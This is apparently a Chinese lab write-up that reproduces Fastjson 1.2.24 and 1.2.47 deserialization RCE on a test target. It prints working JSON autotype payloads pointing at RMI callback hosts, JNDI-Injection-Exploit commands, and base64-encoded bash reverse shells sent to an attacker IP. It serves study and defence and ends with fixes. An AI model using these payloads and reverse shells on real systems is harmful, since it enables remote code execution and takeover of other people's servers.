• FastJson 漏洞复现


    FastJson 漏洞复现

    1. FastJson 1.2.24 反序列化导致任意命令执行漏洞

    链接地址:Fastjson 1.2.24 反序列化导致任意命令执行漏洞

    1.1 漏洞描述

    说明内容
    漏洞编号CVE-2017-18349
    漏洞名称fastjson 1.2.24 反序列化导致任意命令执行漏洞
    漏洞评级高危
    影响范围1.2.24
    漏洞描述fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
    修复方案打补丁,上设备,升级组件

    具体描述

    ​ FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。

    ​ 关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

    1.2 漏洞原理

    攻击者访问存在fastjson漏洞的目标靶机,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetlmpl 恶意信息发送给目标机。

    存在漏洞的目标靶机对json反序列化的时候,会执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行命令。

    rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(创建文件、反弹shell等)

    rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。

    靶机执行了恶意代码,被攻击者成功利用。

    1.3 漏洞复现

    1.3.1 环境启动

    在这里插入图片描述

    环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。

    image-20230908102919855

    使用bp抓取数据包

    image-20230908103413159

    我们向这个地址POST一个JSON对象,即可更新服务端的信息:

    先转换为POST请求

    image-20230908103814940

    然后发送一个JSON数据

    {"name":"wuhu", "age":20}
    
    • 1

    如果直接发送会报500错误,需要将Content-Type类型修改为JSON格式

    image-20230908103953214

    重新放包即可。
    在这里插入图片描述

    这里就是提交一个JSON格式的数据到服务器后转换为对象,然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。

    • JSON–>Object–>JSON
    1.3.2 漏洞检测

    可以使用BurpSuite扩展:Maskhe/FastjsonScan: 一个简单的Fastjson反序列化检测burp插件 (github.com)

    proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar
    
    • 1

    下载成功后,在BP中添加插件即可。

    image-20230908105415142

    image-20230908105548435

    然后将数据包发送到插件

    image-20230908105713160

    正在扫描

    image-20230908105746945

    扫描成功,发现漏洞,然后会生成一个POC。

    image-20230908105837664

    将生成的POC拷贝到我们之前抓取的数据包中。

    {
        "handsome":{
            "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
            "dataSourceName":"rmi://p1rgv81zmbf1ogymvoqrw59dj4pudj.oastify.com/aaa",
            "autoCommit":true
         }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    image-20230908110223394

    RMI概述:Java RMI(Java Remote Method Invocation),Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网络上的不同计算机中。

    在网络传输的过程中。RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收经过序列化编码的对象后会进行反序列化。因此,可以将RMI服务作为进行反序列化利用链的触发点。

    1.3.3 漏洞验证

    使用JNDI-Injection-Exploit工具,链接地址JNDI-Injection-Exploit/README-CN.md at master · welk1n/JNDI-Injection-Exploit (github.com)

    开启RMI服务器

    使用方法:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"
    
    • 1

    image-20230908112618443

    1.4 漏洞利用

    构造反弹Shell命令

    bash -i >& /dev/tcp/192.168.188.185/9999 0>&1	# 将该命令做一个base64编码
    
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
    
    • 1
    • 2
    • 3

    开启服务器,将之前构造的反弹Shell在 -C 后面的参数进行替换即可。

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"
    
    • 1

    image-20230908114958558

    kali监听9999端口

    image-20230908115125415

    复制到指定位置,然后放包即可

    ldap://192.168.188.185:1389/1cmhtr
    
    • 1

    image-20230908115101711

    监听成功

    image-20230908115037764

    1.5 修复方案

    修复 Fastjson 1.2.24 反序列化漏洞的最佳方法是将 Fastjson 更新到修复此漏洞的最新版本。Fastjson 团队已经修复了此漏洞,并提供了补丁程序或更新版本。因此,建议立即更新 Fastjson 到最新修复版本,以确保应用程序不再受到此漏洞的影响。此外,还应采取其他防护措施,如输入验证、过滤和限制反序列化能力,以提高应用程序的安全性。

    2. Fastjson 1.2.47 远程命令执行漏洞

    链接地址:Fastjson 1.2.47 远程命令执行漏洞

    2.1 漏洞描述

    说明内容
    漏洞编号
    漏洞名称Fastjson 1.2.47 远程命令执行漏洞
    漏洞评级高危
    影响范围1.2.47以及之前的所有版本
    漏洞描述Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
    修复方案打补丁,上设备,升级组件

    具体描述

    Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

    2.2 漏洞复现

    2.2.1 环境启动

    image-20230908145059678

    环境启动后,访问http://your-ip:8090即可看到一个json对象被返回

    image-20230908145111927

    使用bp抓取数据包

    image-20230908145323357

    将content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析。

    image-20230908145418551

    2.2.2 漏洞检测

    image-20230908145640306

    将生成POC拷贝到抓取的数据包中。

    {
        "axin":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "is":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
            "autoCommit":true
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    image-20230908150031446

    2.2.3 漏洞验证

    开启RMI服务器

    使用方法:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"
    
    • 1

    image-20230908150613821

    使用JDK 1.8中的ldap

    ldap://192.168.188.185:1389/asdqfh
    
    • 1

    image-20230908150549393

    查看tmp目录下是否有我们创建的wuhu文件。

    image-20230908150757014

    通过查看后发现文件创建成功,证明漏洞存在。

    2.3 漏洞利用

    构造反弹Shell命令

    bash -i >& /dev/tcp/192.168.188.185/8888 0>&1	# 将该命令做一个base64编码
    
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
    
    • 1
    • 2
    • 3

    开启服务器,将之前构造的反弹Shell在 -C 后面的参数进行替换即可。

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"
    
    • 1

    image-20230908151051620

    同时kail监听8888端口

    image-20230908151221693

    将ldap复制到指定位置,然后放包即可

    ldap://192.168.188.185:1389/wslvmi
    
    • 1

    image-20230908151142290

    反弹成功

    image-20230908151152787

    2.4 修复方案

    1. 升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
    2. WAF拦截过滤请求包中的 @type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type等多种编码的autotype变形
    3. 最少升级到1.2.48以上版本且关闭autotype选项
  • 相关阅读:
    易点易动结合手持终端PDA的固定资产盘点解决方案
    轴承寿命预测的基础-对Palmgren理论的再讨论
    Grafana,Loki,Tempo,Prometheus,Agent搭建日志链路监控平台
    第二十七章 Classes - 引用其他类成员
    Unity中实现溶解(Dissolve)特效及其原理解析
    docker安装oracle
    记一次Android项目升级Kotlin版本(1.5 -> 1.7)
    ARM64平台jetson nano上安装PyQt5环境
    Spring 源码阅读 74:事务管理的原理 - BeanFactoryTransactionAttributeSourceAdvisor 分析
    常见加密和解密方法介绍。
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/132805500